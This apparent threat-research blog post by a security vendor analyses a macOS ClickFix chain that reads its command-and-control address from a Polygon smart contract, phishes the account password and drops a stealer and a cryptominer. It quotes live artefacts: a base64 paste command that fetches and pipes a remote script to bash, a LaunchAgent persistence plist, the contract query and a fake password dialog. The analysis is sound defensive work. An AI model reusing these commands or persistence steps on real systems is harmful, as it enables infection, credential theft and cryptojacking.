A ClickFix Chain That Hides Its C2 on the Blockchain

Our threat research team came across a fake identity-verification page in the wild and decided to follow it all the way down — by hand, without ever executing a single stage. What we found was a four-stage macOS attack chain that resolves its own command-and-control address by reading it out of a Polygon smart contract, phishes and verifies the victim's account password against their real Mac, then drops a full credential-and-wallet stealer with a cryptominer on the side.

Nobody was infected. No credentials left our lab. But the chain itself is worth writing up, because it combines two techniques — ClickFix social engineering and blockchain-hosted C2, known as EtherHiding — into a delivery mechanism with almost nothing fixed for a defender to blocklist. The lure sits in a rented storage bucket on a reputable cloud provider, and the C2 address lives in rewritable smart contract state rather than at a domain or IP anyone owns outright.

Key Takeaways

1. ClickFix Turns the User Into the Delivery Mechanism

• A fake "verify you're human" page walks the victim through pasting a base64-encoded command into Terminal themselves.
• Because the user runs it personally, there's no attachment to scan and no unsigned app to trip Gatekeeper.

2. EtherHiding Removes Any Fixed C2 Infrastructure

• The malware reads its C2 hostname from a Polygon smart contract on every check-in, at zero cost and with no on-chain footprint of its own.
• The operator's rotations, however, are permanent public transactions — sixteen domains over 105 days, fully reconstructable by anyone.

3. One LaunchAgent Is the Entire Persistence Layer

• A single plist with RunAtLoad and KeepAlive re-installs the whole chain at every login.
• The backdoor, both stealer modules and the cryptominer are all stateless and pulled fresh from the network — removing them without removing this plist accomplishes nothing.

4. A Full-Service Stealer With a Cryptomining Side Hustle

• Verified password theft, 66 browser wallet extensions, password managers, keychain data and Telegram sessions are all in scope.
• A genuine, unmodified, legitimately-signed miner binary is dropped alongside it — clean enough to dodge signature-based detection entirely.

ClickFix: Turning the User Into the Payload

ClickFix is a social-engineering pattern that has become one of the more effective initial-access techniques against both Windows and macOS in the last couple of years — MITRE ATT&CK catalogues it formally as T1204.004, Malicious Copy and Paste. Instead of an attachment or a drive-by exploit, the victim is shown a fake CAPTCHA or "verify you're human" page and told to open a terminal or Run dialog and paste a command themselves. Because the user performs the action personally, on their own machine, it sidesteps a lot of the tooling built to catch a downloaded file or a macro — there is no attachment to scan and, on macOS specifically, no unsigned application to trip Gatekeeper.

In this case the lure branded itself "ProveID • identity check," complete with a padlock icon, an "I'm not a robot" tickbox, and a reassuring "256-bit TLS" badge. It was hosted on Exoscale's own object storage domain, which meant it inherited a valid certificate and a clean reputation for free:

hxxps[://]sos-ch-dk-2[.]exo[.]io/pro-services/check/pid.html?t1=VTEF2FZXZ6&t2=mtj4iz48&t3=bad1383adc0f

The t1/t2/t3 query parameters look like traffic-distribution tracking tokens, which suggests this lure is being fed by a paid or affiliate traffic source rather than reached directly — a detail we couldn't confirm without visibility into that system, but worth flagging for anyone who spots the same three-parameter pattern elsewhere.

The Attack Chain

The full chain runs from a single clipboard paste to arbitrary remote code execution in four stages, with one persistence mechanism quietly holding the whole thing together in the background.

Step 1 – The Pasted Command (Execution)

Clicking through the lure's verification step reveals a "follow these steps" box instructing the victim to open Terminal and paste a single line. What lands on the clipboard is deliberately opaque:

bash <<< $(echo "Y3VybCAtcyAnaHR0cHM6Ly9kZWx0YXJldHIuc2hvcC1iYWxtb3JleHByby5jb20vdXBkYXRlLnNoJyB8IGJhc2g=" | base64 -d)

A glance at that string shows no URL at all — just a base64 token wrapped in a herestring, which also keeps the decoded command out of shell history. Once decoded, it's a one-line remote installer:

curl -s 'hxxps[://]deltaretr[.]shop-balmorexpro[.]com/update.sh' | bash

Note the domain here is neither the lure bucket nor the eventual C2 — it's a third host, dressed up as a consumer retail brand, whose only job is serving the installer.

Step 2 – update.sh and a LaunchAgent (Persistence)

The fetched script doesn't run the payload itself. It writes a LaunchAgent and gets out of the way:

mkdir -p "$HOME/Library/LaunchAgents"

cat > "$HOME/Library/LaunchAgents/com.aumshoyxjpylzfbc.plist" <<END_PLIST
  <key>KeepAlive</key>    <true/>
  <key>RunAtLoad</key>    <true/>
  <key>ProgramArguments</key>
  <array>
    <string>/bin/bash</string>
    <string>-c</string>
    <string>echo '<9,305-char base64>' | base64 -d | osascript</string>
  </array>
END_PLIST

launchctl load ~/Library/LaunchAgents/com.aumshoyxjpylzfbc.plist

That base64 blob decodes to 9,305 characters of AppleScript that turned out to be byte-identical to the resolver we analyse in Step 3. With RunAtLoad and KeepAlive both set, this one file rebuilds the entire chain at every login. It is the only thing in this campaign that actually persists — the backdoor, the stealer modules and the miner are all pulled fresh from the network on demand. Remove everything except this plist and the infection is back within one login cycle.

Step 3 – EtherHiding: Resolving the C2 From a Smart Contract

This is the part that made the chain worth a write-up. Instead of a hardcoded domain, the AppleScript queries a Polygon smart contract for its current C2 hostname — a technique Guardio Labs first documented in 2023 as EtherHiding:

{"jsonrpc":"2.0","method":"eth_call","params":[{
   "to":  "0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0",
   "data":"0x2686ecea"
 },"latest"],"id":1}

Decoding the ABI-encoded response gives back a plain hostname — on the day we ran this, machine628[.]baby. Reading contract state this way (eth_call) is free, requires no wallet and no transaction, so the malware's read leaves zero on-chain footprint. Only the operator's own writes are visible.

And that turns out to be the design's weak point. The contract is publicly verified, so its source is readable, and every time the operator rotates infrastructure they have to call setServerURL() — a transaction, permanently recorded on-chain with a timestamp. Walking that history back gave us sixteen distinct operational C2 domains rotated over a 105-day window, roughly one every seven days, plus the deployer wallet and the funding trail behind it. (The contract's one source comment is written in Russian — "the same contract as above" — which implies more than one of these is running. Make of that what you will.)

The practical upshot: the domain is disposable, but the contract and the wallet that deployed it are not. Polling getServerURL() on a schedule tells you the operator's next C2 the moment they set it, before it's used in anger, for free, with no contact with their infrastructure at all.

Step 4 – The Backdoor: Phishing the Account Password (Credential Access)

Once resolved, the C2 serves a second-stage backdoor that fingerprints the host and then opens with a stock AppleScript dialog dressed up as a system prompt:

title:  "System Preferences"
text:   "To run the application you need to change the settings
         for its operation."
        "Please enter password for continue:"
buttons: {"Continue"}   icon: caution
default answer: ""      with hidden answer

Two details make this more dangerous than the average fake password box. The dialog loops with no exit condition until the entry is right — a wrong guess just re-presents the prompt — and every submission is checked against the real local account with dscl . authonly before it's accepted, so the operator only ever receives a password that actually works. On success it's written straight to disk and shipped home in the loot archive alongside the username, external IP, and a full hardware/OS profile.

Check-in also runs tccutil reset All, wiping the Mac's entire Transparency, Consent and Control database. That clears every permission the user has ever granted or denied — including any earlier "no" to a suspicious automation prompt — right before a fresh round of prompts arrives in a moment the user has just been talked into trusting.

From here the backdoor polls the C2 every sixty seconds for one of four tasks, two of which hand back arbitrary shell:

Step 5 – The Stealer Modules and a Cryptominer (Collection & Impact)

We retrieved both infostealer modules directly from the live C2. Between them they target 66 unique browser wallet extensions, the macOS login keychain and browser "safe storage" keys, seven password managers (1Password, Bitwarden, NordPass and others), Firefox's saved-form and legacy login stores, a full copy of the user's Telegram session, and desktop wallets for Bitcoin, Litecoin and Monero. One of the two modules additionally grabs everything in Desktop and Documents with no file-type filter, plus Safari cookies. All of it is zipped with ditto, staged under /tmp/, and exfiltrated — and here's the detail worth remembering: archives under 90 MB (the common case) go out over TLS to the Cloudflare-fronted C2 domain, and only the unusual, larger uploads fall back to a plaintext HTTP endpoint on a dedicated IP. Blocking that one IP catches almost nothing.

The self-identification string baked into both modules reads "Essential macOS Stealer," build "NITRO2" — the generic banner of the underlying builder, with a per-customer build tag. That banner, together with the specific archiving, keychain-extraction and upload pattern, is a strong match for the Atomic macOS Stealer (AMOS) family, sold as malware-as-a-service.

The fourth task, despite being named ledger, isn't a wallet-swap trojan — it drops an unmodified, legitimately-signed copy of the XMRig miner pulled straight from its official GitHub release, then strips the quarantine flag so Gatekeeper never sees it. Because the binary itself is genuine, signature-based detection has nothing to flag; all the malice sits in a config file pointing it at a mining pool over TLS on port 443, quietly burning CPU and battery in the background.

Who's Behind It

The C2 domain hides behind Cloudflare, so its origin isn't visible from the outside. The bulk-exfil IP, however, resolves to a network independently assessed by threat intelligence researchers as bulletproof hosting — infrastructure rented specifically to shrug off abuse complaints — single-homed through one German upstream provider that is the only realistic point of contact for a takedown. We'd also note, for anyone tempted to read too much into IP geolocation, that the netblock in question is leased space with a chain of registrants behind it; that's routine address-space brokering, not evidence of who is actually running the campaign.

Summary

This chain is a good example of how far commodity macOS malware has come: nothing here is a novel exploit, but the combination of ClickFix's user-driven execution, EtherHiding's rotating dead drop, and a mature, subscription-sold stealer adds up to a delivery mechanism that is genuinely hard to blocklist your way out of. The most useful takeaway is where the real weakness sits — not in the malware's obfuscation, but in the fact that every C2 rotation is a permanent, public blockchain transaction.

Worried about ClickFix-style lures reaching your users?

Talanos's Managed SOC and MDR teams monitor for exactly this kind of user-driven execution and rotating C2 pattern. Talk to our team about 24/7 detection and response.